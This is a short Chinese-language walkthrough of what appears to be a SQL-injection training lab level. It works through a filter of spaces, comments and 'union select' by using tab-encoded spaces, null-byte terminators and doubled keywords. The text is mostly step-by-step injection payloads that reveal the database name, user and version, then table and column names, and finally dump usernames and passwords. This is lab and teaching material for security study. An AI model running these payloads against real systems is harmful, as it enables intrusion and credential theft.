该关的空格、-和注释也被屏蔽了。这里是屏蔽union select这个组合而不是单个的union或select。
并且该关不返回错误,所以不使用?id=1\
,而且也不使用报错注入。
一、判断闭合方式
输入语句
?id=1'
,返回页面如下:
我们猜测闭合符号是单引号,输入语句
?id=1';%00
,返回页面如下:
依然报错,这说明闭合符除了单引号之外还有其他的符号,我们输入
?id=1');%00
,返回页面如下:
所以闭合方式是单引号加括号。
二、寻找回显点
输入语句
?id=1')%09order%09by%093;%00
,返回页面如下:
所以一共有3个返回位。
我们需要在这三个返回位中找到回显位,输入语句
?id=0')%09unionunion%09select%09select%0912,13,14;%00
,返回页面如下:
这说明第2和3个返回位是回显位。
三、查询数据库名、用户名、版本
输入语句
?id=0')%09unionunion%09select%09select%0911,concat('~',database(),'~',user()),version();%00
,返回页面如下:
四、查询数据表名
输入语句?
id=0')%09unionunion%09select%09select%0911,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database();%00
,返回页面如下:
五、查询字段名
输入语句
?id=0')%09unionunion%09select%09select%0911,group_concat(column_name),12%09from%09information_schema.columns%09where%09table_name='users'%09and%09table_schema=database();%00
,返回页面如下:
六、查询字段内容
输入语句
?id=0')%09unionunion%09select%09select%0911,group_concat(concat(id,'~',username,'~',password)),12%09from%09users;%00
,返回页面如下:
到此打靶结束